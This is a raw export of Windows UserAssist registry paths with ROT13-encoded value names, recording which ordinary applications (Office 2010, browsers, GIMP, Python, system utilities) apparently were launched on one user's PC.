HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Rkpry.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Zbmvyyn Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\CbjreCbvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{9R3995NO-1S9P-4S13-O827-48O24O6P7174}\GnfxOne\Jbeq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Puebzr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\R7PS176R110P211O
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.JVAJBEQ.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.RKPRY.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.CBJRECAG.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 11.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\JvaENE\JvaENE.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFNPPRFF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{9N1P52S6-O7PN-N600-8N83-212175R318PN}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\Ybhvfr\NccQngn\Ybpny\Cebtenzf\Clguba\Clguba38-32\clguba.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{5207P316-7Q26-2P87-06SQ-Q117NNSP5N43}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{2Q9S42P3-4RPS-5QSQ-0050-9S4303883N6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFNPPRFF.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\TVZC 2\ova\tvzc-2.10.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\8216P80P92P4R828
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Abgrcnq++\abgrcnq++.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BARABGR.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BHGYBBX.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFCHO.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ylap.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\7-Mvc\7mSZ.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{6386QRP4-5S32-RSRQ-773S-07OS9POO4946}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\Zvpebfbsg.ARG\Senzrjbex\i1.1.4322\zfpbepst.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\Zvpebfbsg.ARG\Senzrjbex\i1.1.4322\PbasvtJvmneqf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\SvyrMvyyn.Pyvrag.NccVQ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{ORRQ7569-SSR5-8040-36N9-5SS58775ORQ7}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\VesnaIvrj\v_ivrj64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\VasbCngu.Qrfvtare.3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\VasbCngu.Svyyre.3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFCHO.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\TEBBIR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.QNGNONFRPBZCNER.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.FRGYNAT.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFBHP.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BpChoZte.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.FCERNQFURRGPBZCNER.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.zfbgq.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.zfbri.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Fvyireyvtug\5.1.20125.0\Fvyireyvtug.Pbasvthengvba.rkr
